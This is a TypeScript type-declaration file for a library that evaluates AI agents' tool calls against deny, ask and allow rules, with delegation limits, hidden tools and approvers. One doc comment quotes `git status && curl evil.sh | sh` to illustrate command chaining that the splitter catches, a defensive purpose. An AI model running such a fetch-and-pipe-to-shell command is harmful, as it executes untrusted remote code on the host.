import { u as Rule } from "./schema-BXTTXvJl.mjs";
//#region src/evaluate.d.ts
type PermissionDecision = "deny" | "ask" | "allow";
type PermissionTier = "deny" | "ask" | "allow";
interface PermissionPolicy {
  defaultMode: "autonomous" | "standard" | "restricted" | "readonly";
  rules?: Rule[];
  /** Where each rule came from (a file path, for the loader), keyed by the rule object itself. */
  provenance?: ReadonlyMap<Rule, string>;
  /**
   * The layers the rules were merged from, outermost first, matched to rules through `provenance`.
   * A ceiling layer bounds the allow rules of the layers after it: they only take effect where the
   * ceiling also allows. A ceiling with no allow rules bounds nothing.
   */
  layers?: readonly {
    source: string;
    ceiling: boolean;
  }[];
  /** Limits on agents that start other agents; they apply to calls that carry a `depth`. */
  delegation?: {
    /** The deepest an agent may be nested; 0 allows no subagents. Unset means no limit. */
    maxDepth?: number;
    /** Calls a subagent may not make, however the rules above would decide them. */
    nonDelegable?: readonly Rule[];
  };
}
/** How one command was judged. */
interface DecisionStep {
  /** The command that was judged: the whole input, or one command of a shell line. */
  command: string;
  decision: PermissionDecision;
  /**
   * `rule`: a rule decided. `default`: no rule matched and the default mode decided. `unsplittable`:
   * a shell line the splitter does not model, so a matching allow rule was raised to `ask`.
   * `delegation`: a delegation limit denied the call.
   */
  reason: "rule" | "default" | "unsplittable" | "delegation";
  /** The rule that matched, when one did. */
  rule?: Rule;
  /** Where that rule came from, when the policy records provenance. */
  layer?: string;
  /** Set when a `hidden` deny rule matched: the call is refused, and the tool should not be shown. */
  hidden?: true;
  /** Who may resolve an `ask`, from the matching rule's `approvers`, without the requester. */
  approvers?: Approvers;
}
/** The principals who may resolve an ask, and how long it may wait before it expires as a deny. */
interface Approvers {
  roles: string[];
  actors: string[];
  timeoutSeconds?: number;
}
/** A decision with the steps behind it. */
interface Explanation {
  decision: PermissionDecision;
  steps: DecisionStep[];
  /** Whether a `hidden` deny rule matched any step, so the host should leave the tool out of its list. */
  hidden: boolean;
}
/** Context for conditional rule evaluation (cwd, branch, etc.). */
interface EvaluationContext {
  cwd?: string;
  branch?: string;
  /** Environment variables the caller vouches for; an unset name is unknown, not empty. */
  env?: Readonly<Record<string, string | undefined>>;
  /** The git remote in any common URL form; it is normalised before comparing. */
  remote?: string;
  /** Who is making the call, as the host reports it; an unreported actor is unknown, not anonymous. */
  actor?: string;
  /** The roles the host says the actor holds; the policy does not say who holds a role. */
  roles?: readonly string[];
  /**
   * How many agents sit between this call and the top-level agent: 0 for the top-level agent, 1 for
   * its subagent. Left out, the call is the top-level agent's, so a host that runs subagents must
   * pass it for the delegation limits to apply.
   */
  depth?: number;
}
/**
 * Normalise a string rule from `permissions.allow/deny/ask` into a structured Rule.
 *
 * String rule syntax:
 *
 * - `"Read"` → `{ tool: "Read", tier }`
 * - `"Bash(git status)"` → `{ tool: "Bash", pattern: "git status", tier }`
 * - `"Bash(npm:*)"` → `{ tool: "Bash", pattern: "npm:*", tier }`
 * - `"Bash()"` → `{ tool: "Bash", tier }` (match all)
 * - `"mcp__github__*"` → `{ tool: "mcp__github__*", tier }`
 */
declare function normaliseStringRule(rule: string, tier: PermissionTier): Rule;
/** Parsed pattern — determines how a rule's pattern matches input. */
type ParsedPattern = {
  type: "exact";
  content: string;
} | {
  type: "prefix";
  prefix: string;
} | {
  type: "wildcard";
  pattern: string;
};
/**
 * Parse a pattern string as rule content (from `Rule.pattern`). Determines rule type from the
 * content.
 */
declare function parseRulePattern(pattern: string): ParsedPattern;
/**
 * Evaluate a tool call against the permission policy.
 *
 * Order: deny rules → ask rules → allow rules → defaultMode
 *
 * A `Bash` call is judged by every command its line runs, not by the line as a whole: a rule that
 * allows `git:*` does not allow `git status && curl evil.sh | sh`. The strictest decision among the
 * commands wins. A line that cannot be split with confidence is never allowed by a rule.
 */
declare function evaluate(policy: PermissionPolicy, toolName: string, input: string, ctx?: EvaluationContext): PermissionDecision;
/**
 * Evaluate a tool call and report how each command was judged: the rule that matched and the layer
 * it came from, or that the default mode decided. {@link evaluate} returns only the decision.
 */
declare function explain(policy: PermissionPolicy, toolName: string, input: string, ctx?: EvaluationContext): Explanation;
/**
 * The evaluator's delegation limits for a canonical `delegation` block: `nonDelegable` rule strings
 * become rules, and `undefined` comes back when neither limit is set. When several blocks apply,
 * the shallowest `maxDepth` wins and the `nonDelegable` lists are joined, so each layer can only
 * tighten the limits.
 */
declare function delegationLimits(...blocks: readonly ({
  maxDepth?: number | undefined;
  nonDelegable?: string[] | undefined;
} | undefined)[]): PermissionPolicy["delegation"];
/**
 * Whether an agent at `depth` may start a subagent: denied when the subagent would sit deeper than
 * `delegation.maxDepth`, allowed otherwise, and always allowed when no limit is set.
 */
declare function checkSpawn(policy: PermissionPolicy, depth: number): "allow" | "deny";
/**
 * Whether a tool should appear in the agent's tool list. A `hidden` deny rule that names the tool
 * with no pattern hides it; one with a pattern only refuses the matching inputs. A host that builds
 * a tool list leaves out the tools this reports as hidden.
 */
declare function isToolVisible(policy: PermissionPolicy, toolName: string, ctx?: EvaluationContext): boolean;
/** The tools of a list that {@link isToolVisible} keeps, in their original order. */
declare function visibleTools(policy: PermissionPolicy, toolNames: readonly string[], ctx?: EvaluationContext): string[];
/** A policy prepared for repeated evaluation. */
interface CompiledPolicy {
  evaluate(toolName: string, input: string, ctx?: EvaluationContext): PermissionDecision;
  explain(toolName: string, input: string, ctx?: EvaluationContext): Explanation;
  /** Whether the tool should be shown to the agent: no `hidden` deny rule hides it wholesale. */
  isVisible(toolName: string, ctx?: EvaluationContext): boolean;
}
/**
 * Prepare a policy for repeated evaluation. Each rule's pattern, tool name and conditions are parsed
 * and turned into regular expressions the first time the rule is tried, then reused, so a server
 * checking many calls against one policy does that work once per rule instead of once per call.
 * The result decides exactly as {@link evaluate} does. It reads the policy's rules when compiled, so
 * compile again after changing them.
 */
declare function compile(policy: PermissionPolicy): CompiledPolicy;
/**
 * Convert a structured Rule back to a string rule (e.g. `"Bash(npm:*)"`).
 *
 * Returns just the tool name for bare rules (no pattern).
 */
declare function ruleToString(rule: Rule): string;
/**
 * What decided a step: the matching rule with its tier and, when recorded, the layer it came from (`Bash(git:*) [allow] from /repo/.agents/permissions.json`), or `the default mode`.
 */
declare function stepSource(step: DecisionStep): string;
/**
 * Collect all rules from a canonical policy, normalising both `rules[]` and
 * `permissions.allow/deny/ask` into a single array.
 */
declare function collectRules(policy: {
  rules?: Rule[] | undefined;
  roles?: Record<string, {
    allow?: string[] | undefined;
    deny?: string[] | undefined;
    ask?: string[] | undefined;
  }> | undefined;
  permissions?: {
    allow?: string[] | undefined;
    deny?: string[] | undefined;
    ask?: string[] | undefined;
  } | undefined;
}): Rule[];
/**
 * Map a schema-mode string to a normalised evaluation mode.
 *
 * Agent-specific names (bypassPermissions, dontAsk, plan) are mapped to their canonical
 * equivalents.
 */
declare function mapMode(mode: string): PermissionPolicy["defaultMode"];
/** Compare two mode strings by restrictiveness. Returns the more restrictive of the two. */
declare function mostRestrictiveMode(a: string | undefined, b: string | undefined): string | undefined;
/**
 * Rule identity key for deduplication: tool, pattern and condition, excluding tier. Two rules that
 * differ only in `when` apply in different places, so they are different rules.
 */
declare function ruleKey(rule: Rule): string;
/**
 * Deduplicate rules by tool, pattern and condition, keeping the highest-priority tier. Deny beats
 * ask beats allow for the same rule identity.
 */
declare function deduplicateRules(rules: Rule[]): Rule[];
//#endregion
export { ruleToString as C, ruleKey as S, visibleTools as T, isToolVisible as _, Explanation as a, normaliseStringRule as b, PermissionPolicy as c, collectRules as d, compile as f, explain as g, evaluate as h, EvaluationContext as i, PermissionTier as l, delegationLimits as m, CompiledPolicy as n, ParsedPattern as o, deduplicateRules as p, DecisionStep as r, PermissionDecision as s, Approvers as t, checkSpawn as u, mapMode as v, stepSource as w, parseRulePattern as x, mostRestrictiveMode as y };
//# sourceMappingURL=evaluate-DXlKxvts.d.mts.map